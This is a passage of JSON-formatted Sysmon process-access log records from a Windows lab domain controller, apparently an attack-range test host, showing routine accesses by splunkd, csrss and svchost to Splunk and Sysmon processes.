AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 12:03:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8039,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:40.541\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4315-5F2D-0000-00107B960F00}\r\nTargetProcessId: 4604\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:40.541","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4315-5F2D-0000-00107B960F00}","TargetProcessId":"4604","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8040,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:40.541\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4315-5F2D-0000-00107B960F00}\r\nTargetProcessId: 4604\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:40.541","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4315-5F2D-0000-00107B960F00}","TargetProcessId":"4604","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8041,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:40.541\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:40.541","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8042,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:40.541\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:40.541","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8043,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:40.541\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:40.541","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8044,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:40.541\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:40.541","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8045,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:40.541\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:40.541","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8046,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:40.541\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:40.541","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 